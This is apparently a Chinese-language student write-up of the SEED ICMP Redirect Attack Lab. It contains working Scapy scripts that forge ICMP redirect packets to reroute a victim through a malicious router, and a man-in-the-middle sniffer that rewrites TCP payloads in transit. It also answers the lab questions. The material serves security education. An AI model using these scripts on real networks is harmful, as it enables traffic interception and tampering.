ICMP Redirect Attack Lab(SEED实验)

ICMP Redirect Attack Lab(SEED实验)

ICMP重连就是我们伪装的路由器通过报文告诉受害者,发向某个方向的报文不应发给另一个路由器,而应该发给我们,并以此截获受害者的报文,实现MITM

环境配置

ICMP Redirect Attack Lab(SEED实验)_第1张图片

Task 1 发起ICMP重连

在目前的Ubuntu系统中已经默认拒绝了ICMP报文的接收,用以防范这种重连攻击。为了复现攻击方式,实验设置已经替我们打开了受害者主机的接收功能:
ICMP Redirect Attack Lab(SEED实验)_第2张图片
但同时,受害者主机也已经配置了192.168.60.0/24的报文发送方向,并不是我们的伪装路由。我们当前的工作就是告诉受害者他的方向错误了。
ICMP报文类型参考,这里应该选择type = 5, code = 0
实验手册提供了一个ICMP_redirect报文骨架,对其进行修改后的执行代码:

#!/usr/bin/python3
from scapy.all import *

Ma_IP = '10.9.0.111'
Router_IP = '10.9.0.11'
Victim_IP = '10.9.0.5'
Network_IP = '192.168.60.5'

ip = IP(src = Router_IP , dst = Victim_IP )
icmp = ICMP(type=5, code=1)# type 5 code 0 for redirect host
icmp.gw = Ma_IP 
# The enclosed IP packet should be the one that
# triggers the redirect message.
ip2 = IP(src = Victim_IP , dst = Network_IP )
send(ip/icmp/ip2/ICMP());

根据实验手册的说法,这种攻击在平时是可以直接成功的,但是本实验提供的容器中受害者会对这种重连报文进行检查,当且仅当受害者正在向目标发送ICMP时收到这种攻击报文时才能成功。
ICMP Redirect Attack Lab(SEED实验)_第3张图片

Question 1.2.3

• Question 1: Can you use ICMP redirect attacks to redirect to a remote machine? Namely, the IP address assigned to icmp.gw is a computer not on the local LAN. Please show your experiment result, and explain your observation.

不能。发生ICMP重定向通常有两种情况:
1)当路由器从某个接口收到数据还需要从相同接口转发该数据时;
2)当路由器从某个接口到发往远程网络的数据时发现源ip地址与下一跳属于同一网段时。
这两个条件都要求重定向的地址与自身处于同一个LAN下。如果将重定向的网关指向不在同一个LAN下的地址(例如8.8.8.8),则不会被写入到受害者的缓存中。(由于并未被写入,所以不展示截图)

• Question 2: Can you use ICMP redirect attacks to redirect to a non-existing machine on the same network? Namely, the IP address assigned to icmp.gw is a local computer that is either offline or non-existing. Please show your experiment result, and explain your observation.

不能。我尝试将受害者报文导向一个不存在的网址10.9.0.10,出现了如图:

如图可以发现,当收到重连后,受害者会通过ARP寻找目标网址的MAC地址,并同时先维持原先的连接。但由于并没有找到目标网址的MAC地址,所以维持原来的发送。
在实验过程中尝试将报文导向10.9.0.105,发现其没有打开IP转发,所以会给受害者发送重定向报文。如图:

同时这里可以与上一问,以及同为SEED时间的ARP中毒实验进行联想:可以欺骗存在一个不存在的网址告诉给受害者,并将报文导向攻击者的主机,同时隐藏攻击者的真实IP地址。

• Question 3: If you look at the docker-compose.yml file, you will find the following entries for the malicious router container. What are the purposes of these entries? Please change their value to 1, and launch the attack again. Please describe and explain your observation.

如图,以及我在上一问中得到的测试结果,我们的恶意路由自行发送了重定向报文:

Task 2 MITM

MITM代码:

#!/usr/bin/env python3
from scapy.all import *

VIC_MAC='02:42:0a:09:00:05'

def spoof_pkt(pkt):
	newpkt = IP(bytes(pkt[IP]))
	del(newpkt.chksum)
	del(newpkt[TCP].payload)
	del(newpkt[TCP].chksum)
	print("Get a pkt!!!")
	if pkt[TCP].payload:
		data = pkt[TCP].payload.load
		print("*** %s, length: %d" % (data, len(data)))
		# Replace a pattern
		newdata = data.replace(b'seedlabs', b'AAAAAAAA')
		send(newpkt/newdata)
	else:
		send(newpkt)
	
f = f'tcp and (ether src {VIC_MAC})'
#f = 'tcp'
pkt = sniff(iface='eth0', filter=f, prn=spoof_pkt)

要想实现本次MITM,则需要将恶意路由的IP转发功能关闭,同时填写正确的过滤器(上述代码已改):

# sysctl net.ipv4.ip_forward=0

在受害者主机发送:
在这里插入图片描述
在目标主机上接收:
ICMP Redirect Attack Lab(SEED实验)_第4张图片
在恶意路由上查看收到的原数据(未被替换):
ICMP Redirect Attack Lab(SEED实验)_第5张图片

Question 4.5

• Question 4: In your MITM program, you only need to capture the traffics in one direction. Please indicate which direction, and explain why.

因为我们只向受害者主机诱导了发报方向,只有受害者会向恶意路由发报,而并未向目标主机进行诱导,所以并不需要制定针对反方向的报文(可以,但没必要)。

• Question 5: In the MITM program, when you capture the nc traffics from A (10.9.0.5), you can use A’s IP address or MAC address in the filter. One of the choices is not good and is going to create issues, even though both choices may work. Please try both, and use your experiment results to show which choice is the correct one, and please explain your conclusion.

应该使用MAC地址进行过滤,因为使用IP会造成转发风暴。展示风暴截图:

总结

本篇实验比较简单,所以并无重点总结。
需要注意的是,这种改写与之前的ARP实验相同,缓存内容会被定时刷新,因此应当写有自动化程序代以实施。
但是本次实验中由于作者也提出了的容器原因,当且仅当受害者执行ping时才能进行转向,因此本实验验证的攻击方式真正的可行性与适用性还应在真实环境下重新验证。再加上本实验的漏洞已经被各大系统所弥补(参见Task 1首部中sysctl的设置),所以这种攻击的可行性并不高。

你可能感兴趣的:(网安,网络)